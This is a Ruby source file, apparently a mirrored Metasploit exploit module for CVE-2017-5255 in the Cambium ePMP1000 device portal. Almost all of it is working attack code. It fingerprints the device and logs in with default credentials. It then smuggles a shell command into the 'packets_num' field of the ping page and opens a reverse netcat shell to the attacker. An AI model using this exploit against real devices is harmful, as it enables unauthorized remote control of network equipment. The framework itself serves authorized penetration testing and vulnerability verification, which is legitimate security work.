Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/epmp1000_ping_cmd_shell.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => "Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)",
16
'Description' => %q{
17
This module exploits an OS Command Injection vulnerability in Cambium
18
ePMP1000 device management portal. It requires any one of the following login
19
credentials - admin/admin, installer/installer, home/home - to set up a reverse
20
netcat shell.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
25
],
26
'References' => [
27
['CVE', '2017-5255'],
28
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
29
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
30
],
31
'Privileged' => true,
32
'Targets' => [
33
[
34
'EPMP',
35
{
36
'Arch' => ARCH_CMD,
37
'Platform' => 'unix'
38
}
39
]
40
],
41
'DisclosureDate' => '2015-11-28',
42
'DefaultTarget' => 0,
43
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' },
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options(
53
[
54
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
55
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
56
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
57
], self.class
58
)
59
60
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
61
end
62
63
#
64
# Fingerprinting
65
#
66
def is_app_epmp1000?
67
begin
68
res = send_request_cgi(
69
{
70
'uri' => '/',
71
'method' => 'GET'
72
}
73
)
74
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
75
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
76
return false
77
end
78
79
good_response = (
80
res &&
81
res.code == 200 &&
82
(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
83
)
84
85
if good_response
86
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
87
if !get_epmp_ver.nil?
88
epmp_ver = get_epmp_ver[1]
89
if !epmp_ver.nil?
90
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
91
return true, epmp_ver
92
else
93
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
94
epmp_ver = ''
95
return true, epmp_ver
96
end
97
end
98
else
99
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
100
epmp_ver = nil
101
return false
102
end
103
end
104
105
#
106
# check
107
#
108
def check
109
success, epmp_ver = is_app_epmp1000?
110
if (success != 'false' && !epmp_ver.nil? && epmp_ver < '2.5')
111
return CheckCode::Vulnerable
112
else
113
return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using ~the module~'
114
end
115
end
116
117
#
118
# Login
119
#
120
def login(user, pass)
121
res = send_request_cgi(
122
{
123
'uri' => '/cgi-bin/luci',
124
'method' => 'POST',
125
'headers' => {
126
'X-Requested-With' => 'XMLHttpRequest',
127
'Accept' => 'application/json, text/javascript, */*; q=0.01'
128
},
129
'vars_post' =>
130
{
131
'username' => 'dashboard',
132
'password' => ''
133
}
134
}
135
)
136
137
cookies = res.get_cookies_parsed
138
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
139
140
good_response = (
141
res &&
142
res.code == 200 &&
143
check_sysauth.include?('sysauth')
144
)
145
146
if good_response
147
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
148
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
149
150
cookie1 = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
151
152
res = send_request_cgi(
153
{
154
'uri' => '/cgi-bin/luci',
155
'method' => 'POST',
156
'cookie' => cookie1,
157
'headers' => {
158
'X-Requested-With' => 'XMLHttpRequest',
159
'Accept' => 'application/json, text/javascript, */*; q=0.01',
160
'Connection' => 'close'
161
},
162
'vars_post' =>
163
{
164
'username' => user,
165
'password' => pass
166
}
167
}
168
)
169
170
cookies = res.get_cookies_parsed
171
172
good_response = (
173
res &&
174
res.code == 200 &&
175
!res.body.include?('auth_failed')
176
)
177
178
if good_response
179
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
180
181
# check if max_user_number_reached?
182
if !res.body.include?('max_user_number_reached')
183
# get the final cookie now
184
cookies = res.get_cookies_parsed
185
stok_value = cookies.has_key?('stok') && cookies['stok'].first
186
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
187
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
188
189
final_cookie = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + stok_value
190
191
# create config_uri
192
config_uri_ping = '/cgi-bin/luci/;stok=' + stok_value + '/admin/ping'
193
194
return final_cookie, config_uri_ping
195
else
196
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
197
final_cookie = 'skip'
198
config_uri_ping = 'skip'
199
return final_cookie, config_uri_ping
200
end
201
else
202
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
203
final_cookie = 'skip'
204
config_uri_ping = 'skip'
205
return final_cookie, config_uri_ping
206
end
207
end
208
end
209
210
#
211
# open cmd_shell
212
#
213
def cmd_shell(config_uri, cookie)
214
command = payload.encoded
215
inject = '|' + "#{command}" + ' ||'
216
clean_inject = CGI.unescapeHTML(inject.to_s)
217
218
print_status('Sending payload...')
219
220
res = send_request_cgi(
221
{
222
'method' => 'POST',
223
'uri' => config_uri,
224
'cookie' => cookie,
225
'headers' => {
226
'Accept' => '*/*',
227
'Accept-Language' => 'en-US,en;q=0.5',
228
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
229
'X-Requested-With' => 'XMLHttpRequest',
230
'Connection' => 'close'
231
},
232
'vars_post' =>
233
{
234
'ping_ip' => '127.0.0.1', # This parameter can also be used for injection
235
'packets_num' => clean_inject,
236
'buf_size' => 0,
237
'ttl' => 1,
238
'debug' => '0'
239
}
240
}, 25
241
)
242
handler
243
end
244
245
# exploit
246
247
def exploit
248
success, epmp_ver = is_app_epmp1000?
249
if epmp_ver < '2.5'
250
cookie, config_uri_ping = login(datastore['USERNAME'], datastore['PASSWORD'])
251
if cookie == 'skip' && config_uri_ping == 'skip'
252
return
253
else
254
cmd_shell(config_uri_ping, cookie)
255
end
256
else
257
print_error('This ePMP version is not vulnerable. Module will not continue.')
258
return
259
end
260
end
261
end
262
263